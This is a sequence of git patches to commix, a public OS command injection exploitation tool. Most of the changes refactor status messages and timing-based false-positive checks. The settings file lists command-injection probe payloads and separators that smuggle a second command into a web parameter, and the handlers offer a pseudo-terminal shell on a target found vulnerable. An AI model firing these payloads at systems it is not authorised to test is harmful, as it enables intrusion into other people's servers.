- message += "requests. This behavior may lead to false-positive results. "
+ message += "requests. This behavior may lead to false positive results. "
sys.stdout.write("\r")
while True:
message = message + "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > "
@@ -258,7 +258,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r
original_how_long = how_long
# Check for false positive resutls
- how_long, output = tb_injector.false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, alter_shell, how_long, url_time_response)
+ how_long, output = tb_injector.false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, alter_shell, how_long, url_time_response, false_positive_warning)
if (url_time_response == 0 and (how_long - timesec) >= 0) or \
(url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \
diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py
index 31d2dc95da..3f23ab0cbe 100755
--- a/src/core/injections/blind/techniques/time_based/tb_injector.py
+++ b/src/core/injections/blind/techniques/time_based/tb_injector.py
@@ -352,7 +352,7 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
"""
False Positive check and evaluation.
"""
-def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, alter_shell, how_long, url_time_response):
+def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, alter_shell, how_long, url_time_response, false_positive_warning):
if settings.TARGET_OS == "win":
previous_cmd = cmd
@@ -362,10 +362,11 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese
cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim().length"
found_chars = False
- checks.check_for_false_positive_result()
+ checks.check_for_false_positive_result(false_positive_warning)
# Varying the sleep time.
- timesec = timesec + random.randint(1, 5)
+ if false_positive_warning:
+ timesec = timesec + random.randint(3, 5)
# Checking the output length of the used payload.
if settings.VERBOSITY_LEVEL == 0:
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index 42707ba15e..be05ce8912 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -386,15 +386,16 @@ def captcha_check(page):
"""
Checking the reliability of the used payload message.
"""
-def check_for_false_positive_result():
- info_msg = "Potential injection point has been detected. "
- info_msg += "Checking the reliability of the used payload "
- info_msg += "in case of a false positive result"
+def check_for_false_positive_result(false_positive_warning):
+ info_msg = "Checking the reliability of the identified injection point "
+ info_msg += "(in case of false positive result).\n"
+ sys.stdout.write("\r" + settings.print_info_msg(info_msg))
+ warn_msg = "Time-based comparison requires " + ('larger', 'reset of')[false_positive_warning] + " statistical model"
if settings.VERBOSITY_LEVEL != 0:
- info_msg = info_msg + ".\n"
+ warn_msg = warn_msg + ".\n"
else:
- info_msg = info_msg +", please wait..."
- sys.stdout.write("\r" + settings.print_info_msg(info_msg))
+ warn_msg = warn_msg +", please wait..."
+ sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
"""
False positive or unexploitable injection point detected.
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
index 58327d60f2..111d328fe3 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
@@ -279,7 +279,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method,
original_how_long = how_long
# Check for false positive resutls
- how_long, output = tfb_injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, how_long, url_time_response)
+ how_long, output = tfb_injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, how_long, url_time_response, false_positive_warning)
if (url_time_response == 0 and (how_long - timesec) >= 0) or \
(url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py
index 9990b3c32b..5e7cc9dcfe 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py
@@ -357,7 +357,7 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
"""
False Positive check and evaluation.
"""
-def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, how_long, url_time_response):
+def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, how_long, url_time_response, false_positive_warning):
if settings.TARGET_OS == "win":
previous_cmd = cmd
@@ -367,10 +367,11 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese
cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim()"
found_chars = False
- checks.check_for_false_positive_result()
+ checks.check_for_false_positive_result(false_positive_warning)
# Varying the sleep time.
- timesec = timesec + random.randint(1, 5)
+ if false_positive_warning:
+ timesec = timesec + random.randint(3, 5)
# Checking the output length of the used payload.
if settings.VERBOSITY_LEVEL == 0:
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 4698e2f901..d5fa28d361 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "97"
+REVISION = "98"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 3deff55bf09a2b9f6663491b8c6dd760ef4a5c9d Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Fri, 1 Jul 2022 16:46:35 +0300
Subject: [PATCH 176/560] Multiple updates
---
.../blind/techniques/time_based/tb_handler.py | 9 +---
src/core/injections/controller/checks.py | 4 +-
src/core/injections/controller/controller.py | 51 ++++++++-----------
.../techniques/classic/cb_handler.py | 10 +---
.../techniques/eval_based/eb_handler.py | 9 +---
.../techniques/file_based/fb_handler.py | 9 +---
.../techniques/tempfile_based/tfb_handler.py | 10 +---
src/core/modules/shellshock/shellshock.py | 2 +-
src/utils/settings.py | 11 ++--
9 files changed, 41 insertions(+), 74 deletions(-)
diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py
index e0de2e2f96..3053d0d3ef 100755
--- a/src/core/injections/blind/techniques/time_based/tb_handler.py
+++ b/src/core/injections/blind/techniques/time_based/tb_handler.py
@@ -388,13 +388,8 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r
else:
checks.total_of_requests()
- finding = ""
- if len(found_vuln_parameter) > 0 and not "cookie" in header_name :
- finding += http_request_method
- finding += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name + found_vuln_parameter
-
# Print the findings to terminal.
- info_msg = finding + " appears to be injectable via "
+ info_msg = settings.CHECKING_PARAMETER + " appears to be injectable via "
info_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "."
print(settings.print_bold_info_msg(info_msg))
sub_content = str(checks.url_decode(payload))
@@ -461,7 +456,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r
while True:
if go_back == True:
break
- message = finding + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > "
+ message = settings.CHECKING_PARAMETER + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > "
if settings.IS_TTY:
gotshell = common.read_input(message, default="Y", check_batch=True)
else:
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index be05ce8912..e0149655bf 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -387,8 +387,8 @@ def captcha_check(page):
Checking the reliability of the used payload message.
"""
def check_for_false_positive_result(false_positive_warning):
- info_msg = "Checking the reliability of the identified injection point "
- info_msg += "(in case of false positive result).\n"
+ info_msg = "Checking if the injection point on "
+ info_msg += settings.CHECKING_PARAMETER + " is a false positive.\n"
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
warn_msg = "Time-based comparison requires " + ('larger', 'reset of')[false_positive_warning] + " statistical model"
if settings.VERBOSITY_LEVEL != 0:
diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py
index 286ae2a89f..c6b59dbdc9 100644
--- a/src/core/injections/controller/controller.py
+++ b/src/core/injections/controller/controller.py
@@ -74,8 +74,6 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter,
basic_payloads = settings.ALTER_SHELL_BASIC_COMMAND_INJECTION_PAYLOADS
else:
basic_payloads = settings.BASIC_COMMAND_INJECTION_PAYLOADS
- if not header_name == " cookie" and not the_type == " HTTP header":
- header_name = " " + str(http_request_method)
settings.CLASSIC_STATE = True
try:
whitespace = settings.WHITESPACES[0]
@@ -84,7 +82,8 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter,
for payload in basic_payloads:
_ = _ + 1
if not inject_http_headers or (inject_http_headers and "'Host'" in check_parameter):
- payload = _urllib.parse.quote(payload)
+ if not any((settings.IS_JSON, settings.IS_XML)):
+ payload = _urllib.parse.quote(payload)
payload = parameters.prefixes(payload, prefix="")
payload = parameters.suffixes(payload, suffix="")
payload = checks.perform_payload_modification(payload).replace(whitespace, settings.WHITESPACES[0])
@@ -116,11 +115,8 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter,
match = re.search(settings.BASIC_COMMAND_INJECTION_RESULT, html_data)
if match:
settings.IDENTIFIED_COMMAND_INJECTION = True
- info_msg = "Heuristic (basic) tests shows that"
- if not header_name == " cookie" and not the_type == " HTTP header":
- info_msg += " " + str(http_request_method) + ""
- info_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML]
- info_msg += the_type + check_parameter + " might be injectable (possible OS: '" + ('Unix-like', 'Windows')[_ != 1] + "')."
+ info_msg = "Heuristic (basic) tests shows that "
+ info_msg += settings.CHECKING_PARAMETER + " might be injectable (possible OS: '" + ('Unix-like', 'Windows')[_ != 1] + "')."
print(settings.print_bold_info_msg(info_msg))
break
@@ -150,7 +146,8 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t
if (not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO) or settings.MULTI_TARGETS:
for payload in settings.PHPINFO_CHECK_PAYLOADS:
if not inject_http_headers or (inject_http_headers and "'Host'" in check_parameter):
- payload = _urllib.parse.quote(payload)
+ if not any((settings.IS_JSON, settings.IS_XML)):
+ payload = _urllib.parse.quote(payload)
payload = parameters.prefixes(payload, prefix="")
payload = parameters.suffixes(payload, suffix="")
payload = checks.perform_payload_modification(payload)
@@ -189,11 +186,8 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t
settings.IDENTIFIED_WARNINGS = True
break
if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO:
- info_msg = "Heuristic (basic) tests shows that" + header_name
- if not header_name == " cookie" and not the_type == " HTTP header":
- info_msg += " " + str(http_request_method) + ""
- info_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML]
- info_msg += the_type + check_parameter + " might be injectable via " + technique + "."
+ info_msg = "Heuristic (basic) tests shows that "
+ info_msg += settings.CHECKING_PARAMETER + " might be injectable via " + technique + "."
print(settings.print_bold_info_msg(info_msg))
break
@@ -333,11 +327,11 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time
# Host HTTP header / Custom HTTP header Injection(s)
if check_parameter.startswith(" "):
header_name = ""
- the_type = " HTTP header"
+ the_type = "HTTP header"
check_parameter = " '" + check_parameter.strip() + "'"
else:
if settings.COOKIE_INJECTION:
- header_name = " cookie"
+ header_name = "Cookie"
else:
header_name = ""
the_type = " parameter"
@@ -349,15 +343,17 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time
# Load modules
modules_handler.load_modules(url, http_request_method, filename)
checks.tamper_scripts(stored_tamper_scripts=False)
-
- info_msg = "Setting"
- if not header_name == " cookie" and not the_type == " HTTP header":
- info_msg += " " + str(http_request_method) + ""
- info_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML]
- if header_name == " cookie" :
- info_msg += str(header_name) + str(the_type) + str(check_parameter) + " for tests."
+
+ settings.CHECKING_PARAMETER = ""
+ if not header_name == "Cookie" and not the_type == "HTTP header":
+ settings.CHECKING_PARAMETER = str(http_request_method)
+ settings.CHECKING_PARAMETER += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML]
+ if header_name == "Cookie" :
+ settings.CHECKING_PARAMETER += str(header_name) + str(the_type) + str(check_parameter)
else:
- info_msg += str(the_type) + str(header_name) + str(check_parameter) + " for tests."
+ settings.CHECKING_PARAMETER += str(the_type) + str(header_name) + str(check_parameter)
+
+ info_msg = "Setting " + settings.CHECKING_PARAMETER + " for tests."
print(settings.print_info_msg(info_msg))
if menu.options.skip_heuristics:
@@ -393,11 +389,8 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time
pass
if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO:
- warn_msg = "Heuristic (basic) tests shows that" + header_name
- if not header_name == " cookie" and not the_type == " HTTP header":
- warn_msg += " " + str(http_request_method) + ""
- warn_msg +=('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML]
- warn_msg += the_type + check_parameter + " might not be injectable."
+ warn_msg = "Heuristic (basic) tests shows that "
+ warn_msg += settings.CHECKING_PARAMETER + " might not be injectable."
print(settings.print_bold_warning_msg(warn_msg))
if menu.options.failed_tries and \
diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py
index 96e9a82fe0..2a1399bde1 100755
--- a/src/core/injections/results_based/techniques/classic/cb_handler.py
+++ b/src/core/injections/results_based/techniques/classic/cb_handler.py
@@ -267,13 +267,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_
checks.total_of_requests()
# Print the findings to terminal.
- finding = ""
- if len(found_vuln_parameter) > 0 and not "cookie" in header_name :
- finding += http_request_method + ""
- finding += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name + found_vuln_parameter
-
- # Print the findings to terminal.
- info_msg = finding + " appears to be injectable via "
+ info_msg = settings.CHECKING_PARAMETER + " appears to be injectable via "
info_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "."
print(settings.print_bold_info_msg(info_msg))
sub_content = str(checks.url_decode(payload))
@@ -340,7 +334,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_
while True :
if go_back == True:
break
- message = finding + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > "
+ message = settings.CHECKING_PARAMETER + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > "
if settings.IS_TTY:
gotshell = common.read_input(message, default="Y", check_batch=True)
else:
diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py
index 2d52ad0c62..6a5322606c 100755
--- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py
+++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py
@@ -277,13 +277,8 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_
else:
checks.total_of_requests()
- finding = ""
- if len(found_vuln_parameter) > 0 and not "cookie" in header_name :
- finding += http_request_method
- finding += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name + found_vuln_parameter
-
# Print the findings to terminal.
- info_msg = finding + " appears to be injectable via "
+ info_msg = settings.CHECKING_PARAMETER + " appears to be injectable via "
info_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "."
print(settings.print_bold_info_msg(info_msg))
sub_content = str(checks.url_decode(payload))
@@ -350,7 +345,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_
while True:
if go_back == True:
break
- message = finding + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > "
+ message = settings.CHECKING_PARAMETER + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > "
if settings.IS_TTY:
gotshell = common.read_input(message, default="Y", check_batch=True)
else:
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py
index d576f54c7a..7b3e22ced2 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py
@@ -486,13 +486,8 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r
else:
checks.total_of_requests()
- finding = ""
- if len(found_vuln_parameter) > 0 and not "cookie" in header_name :
- finding += http_request_method
- finding += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name + found_vuln_parameter
-
# Print the findings to terminal.
- info_msg = finding + " appears to be injectable via "
+ info_msg = settings.CHECKING_PARAMETER + " appears to be injectable via "
info_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "."
print(settings.print_bold_info_msg(info_msg))
sub_content = str(checks.url_decode(payload))
@@ -567,7 +562,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
if go_back == True:
break
- message = finding + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > "
+ message = settings.CHECKING_PARAMETER + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > "
if settings.IS_TTY:
gotshell = common.read_input(message, default="Y", check_batch=True)
else:
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
index 111d328fe3..e9fe804657 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
@@ -421,13 +421,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method,
checks.total_of_requests()
# Print the findings to terminal.
- finding = ""
- if len(found_vuln_parameter) > 0 and not "cookie" in header_name :
- finding += http_request_method
- finding += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name + found_vuln_parameter
-
- # Print the findings to terminal.
- info_msg = finding + " appears to be injectable via "
+ info_msg = settings.CHECKING_PARAMETER + " appears to be injectable via "
info_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "."
print(settings.print_bold_info_msg(info_msg))
sub_content = str(checks.url_decode(payload))
@@ -506,7 +500,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method,
while True:
if go_back == True:
break
- message = finding + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > "
+ message = settings.CHECKING_PARAMETER + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > "
if settings.IS_TTY:
gotshell = common.read_input(message, default="Y", check_batch=True)
else:
diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py
index ae750d9416..0828381bbd 100755
--- a/src/core/modules/shellshock/shellshock.py
+++ b/src/core/modules/shellshock/shellshock.py
@@ -419,7 +419,7 @@ def shellshock_handler(url, http_request_method, filename):
while True:
if go_back == True:
break
- message = finding + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > "
+ message = settings.CHECKING_PARAMETER + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > "
if settings.IS_TTY:
gotshell = common.read_input(message, default="Y", check_batch=True)
else:
diff --git a/src/utils/settings.py b/src/utils/settings.py
index d5fa28d361..8828c92d4c 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "98"
+REVISION = "99"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
@@ -295,11 +295,11 @@ def sys_argv_errors():
RAND_B = random.randint(1,10000)
CALC_STRING = str(RAND_A) + "+" + str(RAND_B)
BASIC_STRING = "(" + CALC_STRING + ")"
-BASIC_COMMAND_INJECTION_PAYLOADS = [";echo $(" + BASIC_STRING + ")&&echo $(" + BASIC_STRING + ")||echo $(" + BASIC_STRING + ")",
+BASIC_COMMAND_INJECTION_PAYLOADS = [";echo $(" + BASIC_STRING + ")%26%26echo $(" + BASIC_STRING + ")||echo $(" + BASIC_STRING + ")",
"|set /a " + BASIC_STRING + "&set /a " + BASIC_STRING
]
ALTER_SHELL_BASIC_STRING = " -c \"print(int(" + CALC_STRING + "))\""
-ALTER_SHELL_BASIC_COMMAND_INJECTION_PAYLOADS = [";echo $(" + LINUX_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + ")&&echo $(" + LINUX_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + ")||echo $(" + LINUX_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + ")",
+ALTER_SHELL_BASIC_COMMAND_INJECTION_PAYLOADS = [";echo $(" + LINUX_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + ")%26%26echo $(" + LINUX_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + ")||echo $(" + LINUX_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + ")",
"|for /f \"tokens=*\" %i in ('cmd /c " + WIN_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + "') do @set /p=%i" + CMD_NUL + " &for /f \"tokens=*\" %i in ('cmd /c " + WIN_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + "') do @set /p=%i" + CMD_NUL
]
BASIC_COMMAND_INJECTION_RESULT = str(RAND_A + RAND_B)
@@ -426,8 +426,8 @@ def sys_argv_errors():
# The command injection separators.
SEPARATORS = []
-DEFAULT_SEPARATORS = ["", ";", "&", "|"]
-SPECIAL_SEPARATORS = ["&&", "||", "%0a", "%0d%0a", "%1a"]
+DEFAULT_SEPARATORS = ["", ";", "%26", "|"]
+SPECIAL_SEPARATORS = ["%26%26", "||", "%0a", "%0d%0a", "%1a"]
SEPARATORS_LVL1 = DEFAULT_SEPARATORS + SPECIAL_SEPARATORS
SEPARATORS_LVL3 = SEPARATORS_LVL2 = SEPARATORS_LVL1
@@ -1209,4 +1209,5 @@ def sys_argv_errors():
# Set predefined answers (e.g. "quit=N,follow=N").
ANSWERS = ""
+CHECKING_PARAMETER = ""
# eof
\ No newline at end of file
From 41647be9332bec6f8a3f3ae50aed7c336d53e0f6 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Sat, 2 Jul 2022 10:46:45 +0300
Subject: [PATCH 177/560] Update CHANGELOG.md
---
doc/CHANGELOG.md | 1 +
1 file changed, 1 insertion(+)
diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md
index eb600e96ab..161a94c4ae 100755
--- a/doc/CHANGELOG.md
+++ b/doc/CHANGELOG.md
@@ -1,4 +1,5 @@
## Version 3.5 (TBA)
+* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions.
* Revised: Improvements regarding Windows-based payloads for every supported technique.
* Revised: Improvement regarding alternative shell (i.e.`--alter-shell`) for generating Python 3x payloads.
* Removed: The depricated modules "ICMP exfiltration" and "DNS exfiltration" have been removed.
From 24afb16dec780f01e23c53d8161469ad0d57d44e Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Sun, 3 Jul 2022 10:19:55 +0300
Subject: [PATCH 178/560] Updated to v3.5
---
doc/CHANGELOG.md | 2 +-
setup.py | 2 +-
src/utils/settings.py | 2 +-
3 files changed, 3 insertions(+), 3 deletions(-)
diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md
index 161a94c4ae..05c16ad5ac 100755
--- a/doc/CHANGELOG.md
+++ b/doc/CHANGELOG.md
@@ -1,4 +1,4 @@
-## Version 3.5 (TBA)
+## Version 3.5 (2022-07-03)
* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions.
* Revised: Improvements regarding Windows-based payloads for every supported technique.
* Revised: Improvement regarding alternative shell (i.e.`--alter-shell`) for generating Python 3x payloads.
diff --git a/setup.py b/setup.py
index d328f17c46..5ffe34c7e7 100644
--- a/setup.py
+++ b/setup.py
@@ -17,7 +17,7 @@
setup(
name='commix',
- version='3.5-dev',
+ version='3.5',
description='Automated All-in-One OS Command Injection Exploitation Tool',
long_description=open('README.md').read(),
long_description_content_type='text/markdown',
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 8828c92d4c..0cc96984ff 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -242,7 +242,7 @@ def sys_argv_errors():
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
REVISION = "99"
-STABLE_RELEASE = False
+STABLE_RELEASE = True
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
else:
From dd1f7994a87b10f86b353a71f3cf6a70a9bec308 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Thu, 21 Jul 2022 14:43:40 +0300
Subject: [PATCH 179/560] Fixes
https://github.com/commixproject/commix/issues/774
---
setup.py | 2 +-
src/core/injections/controller/checks.py | 2 +-
src/utils/settings.py | 6 +++---
3 files changed, 5 insertions(+), 5 deletions(-)
diff --git a/setup.py b/setup.py
index 5ffe34c7e7..9be60fe7f4 100644
--- a/setup.py
+++ b/setup.py
@@ -17,7 +17,7 @@
setup(
name='commix',
- version='3.5',
+ version='3.6-dev',
description='Automated All-in-One OS Command Injection Exploitation Tool',
long_description=open('README.md').read(),
long_description_content_type='text/markdown',
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index e0149655bf..aa14554b58 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -210,7 +210,7 @@ def tab_autocompleter():
readline.parse_and_bind("tab: complete")
# Tab compliter
readline.set_completer(menu.tab_completer)
- except AttributeError:
+ except (TypeError, AttributeError) as e:
error_msg = "Failed while trying to use platform's readline library."
print(settings.print_error_msg(error_msg))
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 0cc96984ff..9d2cc475a5 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -240,9 +240,9 @@ def sys_argv_errors():
DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool"
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
-VERSION_NUM = "3.5"
-REVISION = "99"
-STABLE_RELEASE = True
+VERSION_NUM = "3.6"
+REVISION = "1"
+STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
else:
From 4a904e28c8e2050f66a1eee1487f54a77c90c2ed Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Fri, 22 Jul 2022 10:03:48 +0300
Subject: [PATCH 180/560] Minor update
---
setup.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/setup.py b/setup.py
index 9be60fe7f4..dc661019d8 100644
--- a/setup.py
+++ b/setup.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2019 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
From 96858cf80c13e4aa9eeb11d4736cd9c9e4e1701a Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Wed, 31 Aug 2022 17:59:52 +0300
Subject: [PATCH 181/560] Fixes
https://github.com/commixproject/commix/issues/778
---
.../injections/semiblind/techniques/file_based/fb_handler.py | 2 +-
src/utils/settings.py | 2 +-
2 files changed, 2 insertions(+), 2 deletions(-)
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py
index 7b3e22ced2..a0829a16f9 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py
@@ -80,7 +80,7 @@ def custom_web_root(url, timesec, filename, http_request_method, url_time_respon
example_root_dir = "/var/www"
message = "Please provide the host's root directory (e.g. '"
message += example_root_dir + "') > "
- settings.WEB_ROOT = common.read_input(message, default=None, check_batch=True)
+ settings.WEB_ROOT = common.read_input(message, default=example_root_dir, check_batch=True)
if settings.WEB_ROOT.endswith(("\\", "/")):
settings.WEB_ROOT = settings.WEB_ROOT[:-1]
if len(settings.WEB_ROOT) == 0:
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 9d2cc475a5..af0464170b 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
